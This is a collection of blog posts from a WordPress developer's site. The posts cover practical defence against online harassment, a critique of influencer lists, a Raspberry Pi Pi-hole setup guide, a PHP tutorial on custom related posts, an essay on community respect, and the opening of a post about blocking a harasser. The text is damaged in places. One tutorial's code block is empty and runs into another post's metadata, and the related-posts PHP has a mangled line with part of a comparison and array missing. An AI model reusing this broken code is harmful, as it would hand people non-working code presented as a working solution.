It someone calls you names, it hurts. If someone attacks your choices, it hurts. Well when someone continues to belabor a point, argue past the point of sense, and absorb hours of your time, they’re hurting you. You are **allowed** to ask them to stop and leave you alone. Of course, this doesn’t often work.
## The Warning Signs
As many people will tell you, asking someone to stop, even a simple “I don’t want to continue this conversation here, please email X,” can result in unexpected explosions. This is an escalation in behaviour, as someone is demonstrating a distinct **lack** of respect for you, and human decency. Usually this is because they’re hurt too and lashing out, and it’s hard for people to look past that.
Bear in mind, a threat doesn’t just mean “You better not walk down a dark alley alone” — and yes, someone said that once. Sometimes a threat is “I sent a package to your office.” Now, I bet nearly every non-male reading this just nodded. For those of you who didn’t, let me elaborate.
When an online conversation crosses into the ‘physical world’ (for lack of a better term), it’s a major red flag. If you’ve been tweeting or emailing someone, and they send you, say, an apology letter, or email a photo of their company apologizing, you need to worry. This is because they’re attempting to play to your emotions.
When they make that next step, though, claiming to send you flowers, that’s when you need to get a hold of authority figures and friends. Fast. I will warn you, if the person making the claim is out of state or out of country, it’s **very** hard to get legal help. You can, but it’s hard. If you work at a specific location, make sure they know. Make sure people you live with are aware. Anyone you think **might** be targeted, you need to warn.
There are a number of micro-aggressions that indicate this behavior, from Sealioning to Gaslighting. But that’s a talk in and of itself. What you should hang on to here is that you need to trust your gut. Women, people of color, queers, any minority, we’re pretty in tune with that bad feeling that a conversation is going to go sour. Trust that. If someone turns to you and says “Hey, this person looks like they’re escalating,” then you should listen.
## Get Help
I said it before, let me say it again. Give your teams a heads up. I had someone follow me all the way to my company, and we had to get legal involved because of threats expressed. I’ve even had to have a security officer on site for a WordCamp talk because someone went far enough that I felt concerned for my physical safety. These aren’t jokes. These are people who have lost the ability to see reason.
You need to tell people in charge. If you’re afraid to tell your boss, you can try this with them or your HR rep or a trusted co-worker:
> I’m sorry to bring some personal issues into work, but there’s someone who has been harassing me, and I think they’re going to bring it into the workspace.
No template is perfect or nuanced enough to handle all situations, and if you need help figuring out how to tell your employers, grab a trusted friend and ask for help.
Beyond warning people you work with, **get help**. Ask for what you need, even if you know it’s the wrong person to ask. They may know who to talk to. I needed a new feature built into WordPress’ tool for plugin reviews to blacklist people so we stopped getting 30 emails in a day in our inbox. Speak up. Your teammates and friends should have your back. And if they don’t listen, go louder and over their heads as high as you need to. Go public if you have to.
## Practical Defense
Even if you do all this, you have to keep in mind that once you are pointed at as ‘the bad guy’ people will go bonkers. They will be obsessed with every single thing you do. And this means you cannot bait them. Look, I love a good subtweet as much as anyone, but for the duration of this drama, you must **not** poke the bears. Don’t even drop a hint. While being harassed by said the aforementioned serial emailer (we’re up to 1000 emails now by the way), I complained about someone else, my cable company as it happened, but he took it to mean I was talking about him. It sucked.
This is the scary thing, and the reason you’ve **got** to walk away from them. When they get obsessive, reading thousands of tweets deep or dredging up a forum post from before you were a moderator to prove a point, they’ve gone **past** sense and into obsession. This is **terrifying**. Which is why you’ve got to put your shields up.
I want to point out the specific things you can do here. These are generally easy to do from a technical perspective, but not emotionally.
**Twitter**
First you de-friend. If they’re not a friend, you mute. If they escalate, you block. Some people you will jump right to a block because they’re just so wrong. But do it and walk away. The nice thing about a block and a mute is that it prevents you from reading their tweets at all.
Turn off Twitter notifications for young accounts and people who don’t follow you. Use the quality filters. Disable DMs from people you don’t follow.
If somerone attacks you or is vulgar, report the tweets and block them. Blocking an account you’ve reported **will** increase the chances that Twitter will actually do anything. Also ask your friends to report and block anything else they made public. It will help.
**Facebook & Instagram**
So I hate Facebook for a lot of reasons, and this is one. See, pretty much all you can do is build a wall. Facebook cares more about selling your personal information than protecting you from harassment. All you can do is lock your account away and block people. Report, yes, but if my wife’s death threat is any hint, they will do *nothing*.
Still, I recommend you report content. You need to report the individual posts as well as the user account.
Also curate the hell out of your friends. If you can’t remember why you friended them, it’s a good time to un-friend.
Everything Else? You set your account private and block judiciously. You don’t have to worry about Google+ any more, but lordy, I promise that was a nightmare trying to block people. Snapchat is pretty ephemeral, things don’t stick around long, so it’s not an easy place to manage but still [report and block](http://onlinesense.org/snapchat-report-abuse/).
I have to mention this because we use Slack for WordPress.org work. And here, there is only one thing you can do when someone’s harassing you. You need to find an admin. Go into the Slack group and click “Customize Slack.” Then pick “About this workspace”. Click on the “Admins & Owners” tab. Ping one, explain the tl;dr and make sure you have **logs** of your harassment. Good luck.
On a forum? Ask for moderator help. If this is an in-public ask, keep it simple. “I need a moderator. Someone is harassing me. Who can I speak to about this?” If you’re on WordPress.org’s forum, tap the ‘report topic’ button after you post and a Moderator will be alerted. Or come to the `#forums` slack channel and ask for help.
## I Hope You Never Have to Do This
I really do. I hope none of you ever have to do this, and that your takeaway is “Gosh, I should make it easier for people to protect themselves on my systems!” And if you are going through this, protect yourself as best you can and remember, just because you’re the bad guy doesn’t mean the other person is a hero.
**Categories:** How It Works
**Tags:** bullying, ethics, harassment, wordcamp
---
### [There Are No Top Influencers](https://halfelf.org/2019/there-are-no-top-influencers/)
**Published:** December 11, 2019
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** We need to care less about the personal aggrandizement of a few select individuals, and more about the collective success of the WordPress project.
**Content:**
It’s that time of year where people post their ‘top X influencers’ for whatever they happen to be blogging about. It’s not a secret I hate those lists. In fact, I ask to be left off of them entirely.
## All Lists are Incomplete
No matter what, no matter if you list 100 people, you’re going to leave someone out. This is a huge problem because those people will be hurt. The common complaint you hear is that a list cannot possibly list everyone, and that’s exactly the point. You know from the start you won’t have everyone listed, so you’re just going to pick the people you like best. And this is because…
## All Lists are Biased
A couple years ago I saw a top-40 list that was 97.5% male. That means there was **one** woman on that list. Equally bad, there was only one non-white person on the list. They were not the same person, which meant this list left off someone who should have been terribly important since she led a major WordPress core release that very year. Leaving off hugely qualified people because of your unconscious (I hope) bias means you further work against the progress to be found with representation. And really that points to the next problem….
## All Lists are Personal
If I was to list the biggest influences on, say, WordPress for me, I would include my father and my wife. To his dying day, my father emailed me a PDF and asked me to upload the content to his blog. My wife constantly asks me for help remembering the rare parts of WordPress. It’s that kind of experience that drives me. They influence me every day to make things easier for the non-technical. Another major influence are my co-editors on LezWatch.TV who ask me things that I feel should be obvious but clearly are not. Which means …
## All Lists are Pointless
My mother is a huge influencer in my life. But you’re not going to get anything from following her. The developers I follow are ones who speak and talk in ways my brain has no problem following. The designers have taught me how to visualize (something I’m terrible at). The political wonks aren’t just an echo chamber, they’re thoughtful and educational. I follow a Sappho bot because I like her poetry. But none of that, not one thing, will help *you* get better at development or WordPress or anything really other than knowing I’m a human who likes a lot of weird stuff.
## We’re Solving the Wrong Problem
What’s the point of these lists anyway?
I can only come up with a couple reasons people make them:
1. Currying favour with the people on the lists to make them feel important
2. Lists are easier than actually writing a post with content
That’s all I’ve got. And that brings me to my point.
## *No One* is a “Top Influencer Anyway”
The person who influences WordPress the most is probably someone you never noticed.
People tell me I should be listed and I point out that my ‘influence’ is not seen by the majority of people who use WordPress. They never see a plugin review or the work we put into making things safe and stable for them. And that? That is as it should be! How many users can name the release leads? Those names don’t matter to them, and they shouldn’t.
Dad never cared if Nacin or Helen or Mel or Matt lead a release. He didn’t even care that I know them. He cared that WordPress worked and did what he needed.
Isn’t that what we all care about? Not the personal aggrandizement of a few select individuals, but of the collective success of the WordPress project.
## Make Lists Matter
If you want a list that matters, make a list of the best talks/blog posts/event-things you experienced in a year and explain how they influenced you. Tell people about what you learned and how you use it. Explain why things matter.
But lists?
Come on, we can do better.
**Categories:** How It Is
**Tags:** essay, oped, open source
---
### [Shut Your Pi-hole](https://halfelf.org/2019/shut-your-pi-hole/)
**Published:** September 27, 2019
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Blocking ads and reducing traffic on your home-network can totally be done with $30 and an hour.
**Content:**
One of the things that bothers me about the internet is tracking and ads. Mostly I hate trying to read things like IMDB and having it take a minute (60 to 90 seconds) to load, because of ads.
Now I have nothing against ads! I use them on my sites to limited success. I click on them on Instagram from time to time. But the way many sites use ads and tracking is a little obscene to me. It makes it impossible to browse the net. And worse, the add-ons for our browsers don’t always work.
## Enter the Pi-hole
I blame my friend Jan, who loves Raspberry Pi’s, for the thought. A Raspberry Pi is a mini computer. It’s the bare bones you need to computer. If you think about how small something like an Amazon Fire Stick is, you have the idea. They’re itsty. But they work. And they work because they have a stripped down operating system that does very little but the basics.
On top of that, we can add software like [Pi-hole](https://pi-hole.net). A Pi-hole is custom software that watches your internet traffic and blocks ads before they get to your computer. It works by intercepting DNS traffic and checking it against blacklists. If something, like an ad network, is on a blacklist, it blocks.
## Finding Your Pi
In order to build this you need a Pi. I bought a kit. I don’t want to hear about it. I don’t need more, I didn’t want more. I wanted, and I got, the basic kit that had what I needed. I bought a [Vilros Pi Zero W](https://www.amazon.com/gp/offer-listing/B0748MPQT4/ref=as_li_tl?ie=UTF8&camp=1789&creative=9325&creativeASIN=B0748MPQT4&linkCode=am2&tag=ipsteorg-20&linkId=15ecfd79abd35f131a49edc8fd825f2c), which means it’s the smallest, least extendable Pi out there.
The kit came with the following:
- A Pi circuit board
- A case (with three lids)
- Rubber feet for the case
- A heat sink
- A camera connector (but no camera)
- A 2×20 pin set
- Adapters for HDMI and power and USB
In addition I bought an [Ethernet connector](https://www.amazon.com/gp/product/B00RM3KXAU/ref=as_li_tl?ie=UTF8&tag=ipsteorg-20&camp=1789&creative=9325&linkCode=as2&creativeASIN=B00RM3KXAU&linkId=f5a1660fdf88811f393379ffe7168911) because I didn’t want to use WiFi, and a [mini SD card](https://www.amazon.com/gp/product/B00CNYV942/ref=as_li_tl?ie=UTF8&tag=ipsteorg-20&camp=1789&creative=9325&linkCode=as2&creativeASIN=B00CNYV942&linkId=0b1d571dfa51ec490807b6c7a07bce1f).
Putting it together is like LEGO’s, however there were NO directions. Did I need the pins? Did I need the camera? In the end, I attached the heat sink and left it at that. The pins only matter if I’m soldering things and I don’t want a camera.
## Installing the OS
The tricky part here is normally people say “connect a monitor and keyboard…” but I didn’t want to do that. I don’t have a spare monitor (though I could use my TV and briefly did for a debug) and I don’t have a spare keyboard. All of this I did on my MacBook.
Go to the official page and download [Raspbian LITE](https://www.raspberrypi.org/downloads/raspbian/). This is the minimalistic version of the official operating system. Download the zip and open it. You’ll get an IMG file. Hold on to it. You also want to download an image builder. I used [Balena Etcher](https://www.balena.io/etcher/), which is a free and open source tool to flash an SD card with an operating system. Or in layman’s terms, it installs that image you downloaded onto the card and magically makes it work.
Insert your SD card and run Balena. Tell it to install your image to the SD card. This takes about 5 minutes, depending on your systems. Once it’s done, you will need to eject the card and then *reinsert* it. This is because the MacOS can be tetchy. Once the disk is mounted on your Mac, you need to add an empty file called SSH to the main folder. This will allow you to SSH into the Pi when you’re done.
## Plug It In
Okay! Now we go back to the hardware. Eject your disk from your Mac and insert it into your Pi. Put the Pi into the case and click it into place. Make sure the various ports line up with the holes. Once that’s in, put the lid on and attach the HDMI adapter (just in case), the Ethernet Adapter (and plug that cable in) and the power.
Your Pi will boot in a matter of seconds. Go get a glass of water. Come back. Now we’re ready to go!
## Update All the Things
Before we install Pi-hole, we want to upgrade everything.
To do that we need to know our Pi’s IP. I went to my router’s web interface and scanned the list of devices for raspberrypi. It’s under the DHCP allocation table. Get the IP address of your Pi. With that address, SSH into your Pi.
```
ssh pi@123.45.67.89
```
The default password is `raspberry`.
You will be shown [`raspi-config`](https://www.raspberrypi.org/documentation/configuration/raspi-config.md) on first logging in. Press the number **2** and change the password to something better. If you want to run that screen later, you’ll need to run `sudo raspi-config`
Now we update! To update everything, run `sudo apt-get update` — this downloads all the things you need. Next you run the upgrader – `sudo apt-get dist-upgrade` – to install it all. If this fails, it will have advice on how to proceed. Read carefully!
We also want to install Git tools: `sudo apt-get install git net-tools`
And you *may* want to change your timezone: `sudo dpkg-reconfigure tzdata`
## Install Pi-hole
You can one-line this, but I prefer to use git:
```
$ git clone --depth 1 https://github.com/pi-hole/pi-hole.git pi-hole
$ sudo bash pi-hole/automated\ install/basic-install.sh
```
This will take you through the installer. You’ll have some options to pick from:
- Interface — I’m using eth0, which means wired Ethernet and **not** WiFi.
- DNS — I picked OpenDNS but for most people Google is fine and reliable.
- Blacklists — Accept the defaults.
- Protocols — Most people will use IPv4. You’ll know if you use IPv6.
- IP Address/Gateway – The system does a good job getting the IP of your Pi. The gateway needs to be the IP of your existing router.
- Web Admin — Yes, we want the web admin.
- Web Server – You want this if you picked yes for Web Admin.
Whew. That was a lot, right? And the install takes a bit (don’t panic if it stalls). You’ll get your password for the web admin in this process, so please make a note of it.
## Configure Your Pi-hole
At this point, you can visit `http://pi.hole/admin` to get to your admin page. If that doesn’t work, try `http://123.45.67.89/admin` (changing that to your Pi’s IP) and that will get you in. It does not *log* you in. You can log in, and you’ll want to because we have to do some extra configuration.
Also it looks really cool:
If you’re lucky enough, your router lets you change the DNS servers. And if that’s the case, just change it to the IP of your Pi-hole. Done and done. **However**. If you’re like me and use the router that came from your ISP, you may be surprised to find out they don’t trust you in the slightest and you cannot change the DNS settings.
After you’re done swearing at your ISP, and you’ve decided you *don’t* feel like shelling out a couple hundred for a router that may or may not work, it’s time to play magic with DHCP.
DHCP (Dynamic Host Configuration Protocol) is the service that lets your router give all the devices on your local network (LAN) an internal IP address. It also handles all the traffic from your device to the rest of the Internet.
1. Log in to your router and disable DHCP
2. Log in to Pi-hole admin and *enable* DHCP
3. Make sure the Router Gateway address is the correct IP for your router (if it’s not, nothing will work)
If you want to switch everyone over right away, reboot your router. If not, just wait for everyone to pick up the new service.
## How Have You Pi’d Your Hole?
What extra tricks have you spun up? Do you have a perfect blacklist? Do you use it for a VPN as well? Did you figure out how to beat the AT&T modems into submission?
FYI. Do not reply to this post with “You should use X hardware instead” or even “You need own your own router.” Telling people they’re wrong about choices they made when the choices are perfectly valid is an 🍆 move. Be helpful and lift up. Don’t gatekeep.
For the people who still have questions, here are some useful posts:
- [What Pi model should I use?](https://discourse.pi-hole.net/t/what-model-raspberry-pi-should-i-use-for-pi-hole/9635)
- [How should I pick an upstream DNS Server?](https://discourse.pi-hole.net/t/how-do-i-choose-an-upstream-dns-server/258)
- [How do I use the Pi-hole DHCP service and why do I want to?](https://discourse.pi-hole.net/t/how-do-i-use-pi-holes-built-in-dhcp-server-and-why-would-i-want-to/3026)
- [Commonly whitelisted domains](https://discourse.pi-hole.net/t/commonly-whitelisted-domains/212)
**Categories:** How To
**Tags:** hardware, pi-hole, raspberry pi
---
### [Saving Theme Data to a File](https://halfelf.org/2019/saving-theme-data-to-a-file/)
**Published:** July 17, 2019
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Including HTML content from WordPress when it's not your post content but your theme settings can be done! It's just a mess.
**Content:**
Your life isn’t all WordPress.
I know, I know, I said a dirty thing, but let’s be honest, everything isn’t always all WordPress. And when that happens, you have to do some weird things to make your data shared.
One of the things I needed one day was a way for non-WordPress files to get access to a *theme* setting. See, the theme let me set a top-bar and customize it. Sometimes I did that to share news, sometimes to link to latest posts. Regardless, I updated it via Customizer, and it worked great for WordPress.
Not so much for my static HTML site, or my non-WordPress PHP site.
I dwelled on it for a while and then thought “Wait, if the theme knows how to echo a specific setting, then there has to be a function for that. And if there’s a function, then can’t I hook into Customizer saving to trigger the creation of an HTML file with the data and call that from my other sites?”
And guess what? You can!
## The WordPress Code
Toss this in an MU Plugin and it’ll save a file to `wp-content/top-bar.html` when you save customizer settings.
```
**Categories:** How To
**Tags:** embed, javascript, wordpress
---
### [Rolling Your Own Related Posts](https://halfelf.org/2019/rolling-your-own-related-posts/)
**Published:** June 12, 2019
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Related Posts that are extendable and customizable are within your reach!
**Content:**
To start out at the top, I did not write a whole ‘related posts’ plugin. As with all things, I started by asking myself “What’s the problem I’m trying to solve?”
The answer is “I have a custom post type that needs to relate to other posts in the type, but based on my specific criteria which is currently organized into custom taxonomies and post meta.” And from the outset, that certainly sounds like a massive custom job. it was one I was dreading until I remembered that a developer I respected and trusted had once complained to me about the problems with all those other auto-related-posts plugins.
1. They’re heavy and use a lot of ram
2. They don’t let you customize ‘weight’ of relations
3. They’re not extendable
So I did the next logical thing and I looked up their plugins.
## The Plugin
> [Related Posts by Taxonomy](https://wordpress.org/plugins/related-posts-by-taxonomy/)
The crux of why I chose this plugin was simply that it’s extendable, but also that it started out with what I had:
> Posts with the **most terms in common** will display at the top!
Perfect!
## Design The Basics
Before you jump into coding, you need to know what you’re doing. I chose to isolate what I needed first. I made a list of everything I thought was relative:
- Taxonomies: Tropes, Genres, Intersectionality, Tags, Stars
- Post Meta: Worth It, Loved, Calculated Score
Yes, it’s that site again.
I read the plugin documentation and verified that for most of that I just needed to list the taxonomies in the shortcode like this:
```
[related_posts_by_tax fields="ids" order="RAND" title="" format="thumbnails" image_size="postloop-img" link_caption="true" posts_per_page="6" columns="0" post_class="similar-shows" taxonomies="lez_tropes,lez_genres,lez_stars,lez_intersections,lez_showtagged"]
```
Initially I didn’t list the stars because the way the code works, it would say “If you have a Gold Star, show other Gold Stars.” And that wasn’t what I wanted to see. I wanted “If you have ANY star, show other shows with a star.” That said, once we got over 12 shows in each ‘star’ category, this became much easier to match and I could add it in.
The rest of the code, those checks for meta, needed actual code written.
## Meta Checks
There’s a helpful filter, `related_posts_by_taxonomy_posts_meta_query`, that lets you filter the meta queries used by the post. Leveraging that, we can make our checks:
1. Match the ‘worth it’ value of a show
2. If the show is loved, list other loved show
3. If the show isn’t loved, use the score to find show with the same relative value
Both Worth It and Loved are post meta values. Mine happen to be added by CMB2, but the logic remains the same regardless how you add it. Worth It has four possible values (Yes, No, Maybe, TBD), and the check is either the value or false. Loved is a checkbox, a boolean exists or not, which means it’s a true/falsy. The score is a number that’s generated every time the show is saved, and it’s crazy complicated and another story.
The code I use looks like this:
```
add_filter( 'related_posts_by_taxonomy_posts_meta_query', 'MYSITE_RPBT_meta_query', 10, 4 );
function MYSITE_RPBT_meta_query( $meta_query, $post_id, $taxonomies, $args ) {
$worthit = ( get_post_meta( $post_id, 'lezshows_worthit_rating', true ) ) ? get_post_meta( $post_id, 'lezshows_worthit_rating', true ) : false;
$loved = ( get_post_meta( $post_id, 'lezshows_worthit_show_we_love', true ) ) ? true : false;
$score = ( get_post_meta( $post_id, 'lezshows_the_score', true ) ) ? get_post_meta( $post_id, 'lezshows_the_score', true ) : 10;
// We should match up the worth-it value as well as the score.
// After all, some low scores have a thumbs up.
if ( false !== $worthit ) {
$meta_query[] = array(
'key' => 'lezshows_worthit_rating',
'compare' => $worthit,
);
}
// If the show is loved, we want to include it here.
if ( $loved ) {
$meta_query[] = array(
'key' => 'lezshows_worthit_show_we_love',
'compare' => 'EXISTS',
);
}
// If they're NOT loved, we use the scores for a value.
if ( ! $loved ) {
// Score: If the score is similar +/- 10
if ( $score >= 90 ) {
$score_range = array( 80, 100 );
} elseif ( $score 'lezshows_the_score',
'value' => $score_range,
'type' => 'numeric',
'compare' => 'BETWEEN',
);
}
return $meta_query;
}
```
## More Similar
But there’s one more thing we wanted to include. When I built this out, Tracy said “There should be a way for us to pick the shows we think are similar!”
She’s right! I built in a CMB2 repeatable field where you can pick shows from a dropdown and that saves the show post IDs as an array. That was the easy part, since we were already doing that in another place.
Once that list exists, we grab the handpicked list, break it out into a simple array, check if the post is published and not already on the list, and combine it all:
```
add_filter( 'related_posts_by_taxonomy', array( $this, 'alter_results' ), 10, 4 );
function alter_results( $results, $post_id, $taxonomies, $args ) {
$add_results = array();
if ( ! empty( $results ) && empty( $args['fields'] ) ) {
$results = wp_list_pluck( $results, 'ID' );
}
$handpicked = ( get_post_meta( $post_id, 'lezshows_similar_shows', true ) ) ? wp_parse_id_list( get_post_meta( $post_id, 'lezshows_similar_shows', true ) ) : array();
$reciprocity = self::reciprocity( $post_id );
$combo_list = array_merge( $handpicked, $reciprocity );
if ( ! empty( $combo_list ) ) {
foreach ( $combo_list as $a_show ) {
//phpcs:ignore WordPress.PHP.StrictInArray
if ( 'published' == get_post_status( $a_show ) && ! in_array( $a_show, $results ) && ! in_array( $a_show, $add_results ) ) {
$add_results[] = $a_show;
}
}
}
$results = $add_results + $results;
return $results;
}
```
But … you may notice **$reciprocity** and wonder what that is.
Well, in a perfect world if you added *The Good Fight* as a show similar to *The Good Wife*, you’d also go back and add *The Good Wife* to *The Good Fight*. The reality is humans are lazy. There were two ways to solve this reciprocity of likes issues.
1. When a show is added as similar to a show, the code auto-adds it to the other show
2. When the results are generated, the code checks if any other show likes the current show and adds it
Since we’re already having saving speed issues (there’s a lot of back processing going on with the scores) and I’ve integrated caching, it was easier to pick option 2.
```
function reciprocity( $post_id ) {
if ( ! isset( $post_id ) || 'post_type_shows' !== get_post_type( $post_id ) ) {
return;
}
$reciprocity = array();
$reciprocity_loop = new WP_Query(
array(
'post_type' => 'post_type_shows',
'post_status' => array( 'publish' ),
'orderby' => 'title',
'order' => 'ASC',
'posts_per_page' => '100',
'no_found_rows' => true,
'update_post_term_cache' => true,
'meta_query' => array(
array(
'key' => 'lezshows_similar_shows',
'value' => $post_id,
'compare' => 'LIKE',
),
),
)
);
if ( $reciprocity_loop->have_posts() ) {
while ( $reciprocity_loop->have_posts() ) {
$reciprocity_loop->the_post();
$this_show_id = get_the_ID();
$shows_array = get_post_meta( $this_show_id, 'lezshows_similar_shows', true );
if ( 'publish' === get_post_status( $this_show_id ) && isset( $shows_array ) && ! empty( $shows_array ) ) {
foreach ( $shows_array as $related_show ) {
if ( $related_show == $post_id ) {
$reciprocity[] = $this_show_id;
}
}
}
}
wp_reset_query();
$reciprocity = wp_parse_id_list( $reciprocity );
}
return $reciprocity;
}
```
There’s a little looseness with the checks, and because there are some cases were shows show up wrong because of the ids (ex: show 311 and 3112 would both be positive for a check on 311), we have to double up on the checks to make sure that the show is really the same.
## What’s Next?
There are still some places I could adjust this. Like if I use more filters I can make the show stars worth ‘more’ than the genres and so on. And right now, due to the way most Anime are based on Manga (and thus get flagged as “Literary Inspired”), anything based on Sherlock Holmes ends up with a lot of recommended Anime.
Still, this gives me a way more flexible way to list what’s similar.
**Categories:** How To
**Tags:** related posts, search
---
### [On Behavior and Respect](https://halfelf.org/2019/on-behavior-and-respect/)
**Published:** April 5, 2019
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Reputation is what other people know about you. Honor is what you know about yourself. The friction tends to arise when the two are not the same. There is no more hollow feeling than to stand with your honor shattered at your feet while soaring public reputation wraps you in rewards. That's soul destroying. The other way around is merely very, very irritating.
**Content:**
I’ve had an interesting week with WordPress. It’s been bad enough that I have to preface this post with a note.
**I have no plans to quit WordPress at this time.**
## Good Faith and History
This morning, I woke up thinking about a statement I picked up from Wikipedia. **Assume good faith.** I like that. I try to do it. The concept is simple and direct. Don’t assume everyone’s evil, instead assume they do mean well, but sometimes they may have trouble expressing it properly.
And while I do believe that most people don’t *mean* to be evil (there are exceptions…), I think that more people remain concerned about themselves over anything else. And this self-involved nature causes problems like happened recently, with choices certain companies made to self-promote in ways that other people found offensive and harmful.
So when I think about ‘good faith’ I do it with a look back to the previous actions someone (an individual or a company) has taken. How have they behaved before? Have they constantly shown poor choices? Is this a first? What happened the last time I tried to talk to them about it? Did we have a discussion? Did I get 15 emails in a row, alternately being called names or being begged to give them another chance?
That means I find it strange to watch people use the concept of ‘Good Faith’ to argue that they don’t look at people’s past actions to judge their current ones.
I’d like to think that my consistency would be something people would use to judge my actions, but I’ve learned people whom I’d trusted don’t. And yes, that’s sad. It’s depressing to find out people would rather jump to outrage and pointing fingers and blaming me than taking into consideration 10 years of work.
## Respect and Doubt
Respect is both given and earned. You give people respect for a position, under the assumption they deserve it, and people either live up to that respect and thus earn more, or they don’t. But when you have an unknown person, you start from assuming good faith based on the hope that they have legitimately earned the position.
Obviously when you know someone, hung out and had dinner, your assumptions are based on more than that. And if someone has a public history you can turn to, you can use that to base your assumptions.
That’s not what happened to me this week. Instead, I found out people actually assume bad faith, because perhaps my opinions are different than theirs, or because I saw something in a different way. It felt like “Assume good faith, but only if you’re on *my* side.” And that? That is sad.
I imagine how different things would have been to say “Hey, y’all. Mika’s been really careful about using her power here for five years. Give her the benefit of the doubt.”
Instead, people said I was seeing things that weren’t there. I was playing a victim. It was all in my head. There’s a word for that: **gaslighting**. God help you if you call them out on it.
## Damage and Care
It’s in a week like this where I totally understand why so many people have been quitting WordPress. People have worked hard to do good for a community, without any expectations of compensation, but they find out their opinions are dismissed and their word discarded or minimized. They feel disrespected, and it’s worse when they feel made fun of by the community they’re trying to help.
Some of them have chosen to walk away from WordPress, and I fully support that choice. To do anything less would be like telling someone that the beatings will stop once morale improves. It would be cruel and unkind to dismiss their feelings, and it would mean I’m not listening to them and have no empathy for them.
Also I’d have to be blind not to see it, because it happens to me all the time. This week? People I thought I knew assumed the worst in me. They didn’t give me the benefit of the doubt and, when I asked what I’d done to deserve that, they said I’d done nothing. They said they were just being fair and hearing all sides.
In other words all the work I’d done, being consistent and fair, acting carefully and listening to everyone was pointless. In the end, they were just going to dismiss all of that and jump on the bandwagon with everyone else.
And it was more than one person I’ve know for about a decade who did it.
For a while I wondered “Did I really mess up here?” And then I asked myself if I’m told I did *nothing* to be not-trusted, but I was going to be anyway, was there a possible positive outcome here?
## Empathy and Power
It really boils down to empathy. If someone says “Hey, this hurt me.” and your reply is “Yeah, I don’t see that” then you’re dismissing what they said. And it’s not just because I get treated badly that I have empathy, it’s because my parents, my family taught me to have empathy and care about the strangers as much as I cared about myself. We don’t live in isolation, we live in a community.
You can see why I call myself a Socialist, right? I care not just about the people I know, but the people I don’t know. I think about the impact my choices have beyond me, and given the amount of power I wield, that has a lot more weight than you might think.
Oh yes, I have an **insane** amount of power, and it scares the hell out of me. I could destroy a company with a click. I could insta-ban people for wrongs. I could close plugins for every single security and guideline mistake. I could publicize exactly what specific people did to get permanently banned. Worse, I could spread fear and doubt in the entirety of WordPress, just by closing a plugin.
I don’t. I handle the majority of that quietly, on the books but privately, because I **assume good faith** in everyone, even people who make massive mistakes. And because I consider the negative impact to the community in general before I take an action.
How much trust do I erode in WordPress as a whole with what I do or say? How much damage do I cause? How many people do I hurt? How many people will this person hurt if I permit them to carry on as they have been? Will their uncensured actions damage the reputation of WordPress? Will the community forgive a mistake?
That’s what I think about, every single day, before I approve, reject, close, or open *any* plugin.
## Alone and Together
If you look at some of the people who’ve left the WordPress Community recently, you’ll see a trend. They feel alone. They feel like they’ve been tasked with ever increasing, insurmountable, chores, and they have no support or backup.
I feel that way too. It took months to be taken seriously about a problem, to the point that serious action was taken. Months, in which I questioned myself. Was I seeing something that wasn’t there? Was my value so little that I’m not worth taking the time to address this problem?
To put it in perspective for you, someone told me that my father’s death was my fault for banning them for abusive behavior.
When you look at it, you’d wonder how I could ever doubt myself. Well, that’s what happens when people don’t step up and ask how they can help. And certainly I could have been more vocal about it, but at the same time, it illustrates the invisibility problem in our community. People are hurt all the time, and no one is looking out for them.
Should I have to scream that someone is hurting me for it to be seen? There’s no oversight in all things, but there’s also no clear way to ask for help. How much worse would this have been if I didn’t have support from people in the community, people in places who could (and did) help me?
What about everyone else?
## Unending and Critical
Now look back at Slacks and Blogs and Twitter. You know which ones I mean. Read what people are saying and assuming, and ask yourself “Is this making a **welcoming** environment?”
Far too many of us have used our critiques as excuses, without caring for the damage they cause. Dismissing people’s pain. Not offering honest and sincere apologies. We hide behind the veneer of “I’m just passionate” or “I’m being critical.” And instead of discussing the idea, we sling ‘understandings’ like accusations, and we cut at people for disagreeing. We assume the worst and treat people shamefully.
And worst of all? Our comrades allow this to happen in their backyards. They won’t remove a homophobic ‘joke’ comment because clearly it’s not meant sincerely. They will allow someone to be called a powerless puppet. They give space for hateful comments that barely even have a veneer of merit.
We’ve stopped encouraging meaningful discourse and regressed into screaming across the aisle that the other person is wrong. We believe our way is the only valid way, and we will tear people down, all the while claiming we’re doing it for the greater good.
And yet people can look at all that and not see the pitchforks and tiki torches.
## Comments are Disabled
There’s a reason I disabled comments and mute and block people on twitter with ruthless abandon. It’s not that I don’t want to hear different voices, it’s that it’s stressful to be attacked all the time. It makes a person physically ill. Certainly it’s made me that on more than one occasion.
I don’t leave comments open, I don’t engage with certain community news sources, I left many Slack groups and I don’t offer comments when asked very often. You see, I can either do good work for the community, do my best and keep things safe, secure, and as fair as a human can, or I can wade through toxicity.
I decided to do good work.
I would like to think that a decade of it would allow any perceived missteps of mine to be taken with a grain of salt and a sip of trust. I will still believe in the inherent goodness of people, and their ability to make colossal mistakes. I will still accept an appology when sincerely given.
But I will not forget and I may not forgive.
Then again, forgiveness should never be the point of your apology.
**Categories:** How It Is
**Tags:** community, essay, wordpress
---
### [Spam Your Blacklist](https://halfelf.org/2018/spam-your-blacklist/)
**Published:** December 24, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Tired of cranky people being jerks? Want to stop them from abusing your contact form? It's sadly harder than it should be.
**Content:**
As mentioned when I began my hiatus, there would be the occasional code post. Here’s one that is born from how annoying someone is.
## The Situation
I have a serial harasser. He’s a troll and a semi-stalker who doesn’t understand the meaning of “No.” I’ve blocked him on social media, his emails are blackholes, and as I don’t have contact forms on my sites, nor do I have open comment forms at the moment, it’s a non-issue here.
However, I do have another site which he found and decided to use my contact form to spam me and my co-admin with 10+ emails. When I found out, I blocked his IP address. He was on mobile, though, so I knew this would only last as long as he was on his phone. I needed a better solution.
This is not a *rare* problem. Especially not for women online. One of the many ways in which men drive women offline is by upping the emotional labor needed to be online. That is, they attack us with message after message, generally in the guise of being ‘a nice guy,’ or ‘just trying to have an open conversation.’ But the reality is that they want to wear you down and get you to do what they want.
It’s exhausting. If you’ve ever gone car shopping and had the dealer call you over and over with the hard sell, it’s like that.
## The Paradox
